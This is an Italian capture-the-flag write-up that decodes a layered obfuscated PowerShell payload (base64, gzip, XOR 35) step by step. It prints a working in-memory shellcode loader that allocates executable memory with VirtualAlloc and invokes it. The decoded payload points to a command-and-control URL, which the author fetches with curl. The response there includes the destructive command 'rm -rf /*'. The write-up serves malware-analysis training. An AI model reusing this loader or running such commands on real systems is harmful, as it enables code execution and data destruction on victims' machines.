yZ7pJ5Yfp7Is8hzterLMw9NZyVl9yelhRl4rj2A/CFVjNegjsgcrfeOeqe9N0Gdz1er6vg
```

```
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"
); IEX (New-Object IO.StreamReader(New-Object
IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompr
ess)).ReadToEnd());
```

Quanto appare da questa prima decodifica rivela:

- Che si tratta di un altro script powershell al cui interno troviamo la prima flag: \$flag="hi from there"
- che è presente un altro payload ancora base64-encoded:  
**[Convert]::FromBase64String("H4sIAAAAAAAAAA ...**
- che oltre alla codifica in base64 è presente anche una compressione con algoritmo gzip:  
**IO.Compression.GzipStream(\$s, [IO.Compression.CompressionMode]**

Quello che dobbiamo fare è:

- decodificare ancora una volta il payload, via base64
- decomprimere il risultato

Quindi, ancora una volta, usiamo `echo` per mandare in pipe verso `base64 -d` il nuovo payload, ed infine ancora in pipe verso `gzip -d` per decomprimerlo

```
echo
```

```
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
```

```
fcWQ+I5atoMjB3TFxD+iLNNiM466Y3Ml3qalDzNKgFsmcNjNK4w4v7Mrtd7sxec2cKkYX9
NJx0Jjv10Xixe2pLQrvFSH1FtQSt02gbE7PdGdNytyEyKtRZqBWTdnMssumirULRYJecyO
78tkIHnLQQHaglnNISB92Jpi9BF+jhOdAlVxawL0eDncZ4lw4lL+1qajCasxZ5tpuRNmW1
cac7s1XPu1S3SWuutFDZ0hOaQBUol2yT5hWFCXy9W2HHKh8qblB7KkWaDL9VZUbebiCts7
4JXZOF2q8mHvbR6jVLcm1Zbksrsx5qfH+SEt8tNRrySjxlRvr6oTRl5Gq0w++HWV142tX3
ZaNjtDIG12GRn5707Bn+rSzuZCbpmYIB8gDDfshaoA+/x8yeNhCMp8302pdxzB/7C4dLWi
Df6KKbZi0r7XFchlAzJdlJxzLLiWpHaqlss6WMSw2FfvitxeHTYqLxHNM26/bP3QcXutCF
LnShCl3oQhe60IUudKELXehCF7rQD105LoxZfjQvBZHl8mm3HIWR7c4Q41YMDrk2lp3GT7
fxr0wnfJkgRE5dVTrNhi6JrQ7jSjNmqqmlYPzTbfyLkqrN8P/eRmyTFSU37v5sey50oRPh
/0uQ/20/CkqSDqfsfUPZSSOFzRxZTLk6u4hkNu0P2ECV6+mgz8aq3F+ye1ahJTPtVFj559
p/ob8J7T59usKfb8/9kMpf/iSwz8oeN66MXX+QPuu5SdejMdvbgr4osR55vk6fTldbDn3
b40UpDEV/LE3mdnqbz7x/t5tEUEPo6Xuvnz82EXn7/U7ftg53tsY+TZekc+/f9XIQA GHXK
aML+qcvnJvuK5v4psm37ny8Uv++XAb5aVIPavQZMrvtgrUmbFQKBx8MpL5nNzGOHp4upRy
Yvz4cQbuFd+AOEDeIl4WKTplaJrGzwe6cPXjsLT8IMufxRXxbZQ3l rzV5BJNhSP6YeKt0f
8xAF8o/ffQYvDIhZYzdmSg9/EqXOV+ubri5tSb8cjeI+oWbagayb0o1sP4duUb1G8UuayQ
v9YLFMdOqGud+oO6BfcaEVombvhvIsE3F6jDfbXfqZ1uHxb+TknIRPYW3fK+AVmK3Ijc/y
FCMDOM/ROotkZuDDcAAA== | base64 -d | gzip -d
```

L'output di questo comando è:

```
Set-StrictMode -Version 2

$flag = 35

$DoIt = @'

function func_get_proc_address {

    Param ($var_module, $var_procedure)

    $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
    $_.GlobalAssemblyCache -And $_.Location.Split('\')[1].Equals('System.dll')
    }).GetType('Microsoft.Win32.UnsafeNativeMethods')

    $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]]
    @('System.Runtime.InteropServices.HandleRef', 'string'))

    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef] (New-Object
    System.Runtime.InteropServices.HandleRef (New-Object IntPtr),
    ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module))),
    $var_procedure)

}

function func_get_delegate_type {

    Param (

        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,

        [Parameter(Position = 1)] [Type] $var_return_type = [Void]

    )

    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object
    System.Reflection.AssemblyName('ReflectedDelegate')),
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule',
```







```
for ($x = 0; $x -lt $var_code.Count; $x++) {
    $var_code[$x] = $var_code[$x] -bxor 35
}

$var_va =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address
kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32])
([IntPtr])))

$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)

[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer,
(func_get_delegate_type @([IntPtr]) ([Void])))

$var_runme.Invoke([IntPtr]::Zero)

'@

If ([IntPtr]::size -eq 8) {
    start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
    IEX $DoIt
}
}
```

Quello che possiamo notare è che:

- Ancora una volta abbiamo a che fare con uno script powershell, che al suo interno contiene un ulteriore payload, ancora una volta base64-encoded
- Il nuovo flag è 35: \$flag = 35
- Il payload è stato ulteriormente codificato attraverso una XOR bitwise proprio utilizzando il numero 35:

```
for ($x = 0; $x -lt $var_code.Count; $x++) {
    $var_code[$x] = $var_code[$x] -bxor 35
}
```

- che la struttura del payload appare avere una certa regolarità

Ciò che dovremmo fare, a questo punto, sarà:

- ancora una volta decodificare il nuovo payload sempre attraverso il base64;
- invertire la codifica effettuata attraverso lo XOR con 35 dei bit, riapplicando nuovamente lo XOR 35









`matrioska.swascan.com`

...

...

Riusciamo a identificare in effetti le tracce di una possibile URL, con un possibile

- `hostname matrioska.swascan.com`
- ed un possibile percorso  
`/me_evil_devil/86Cfs7EAqTpqsWuwCsnuZQtdNAPapLYKKMgbaHmy_xx6h`

Col comando cURL,

`curl http://matrioska.swascan.com/me\_evil\_devil/86Cfs7EAqTpqsWuwCsnuZQtdNAPapLYKKMgbaHmy\_xx6h`

otteniamo infine l'ultima flag:

`{"last_flag":"C0mmand_and_C0ntrol_here", "command":"rm -rf /*"}`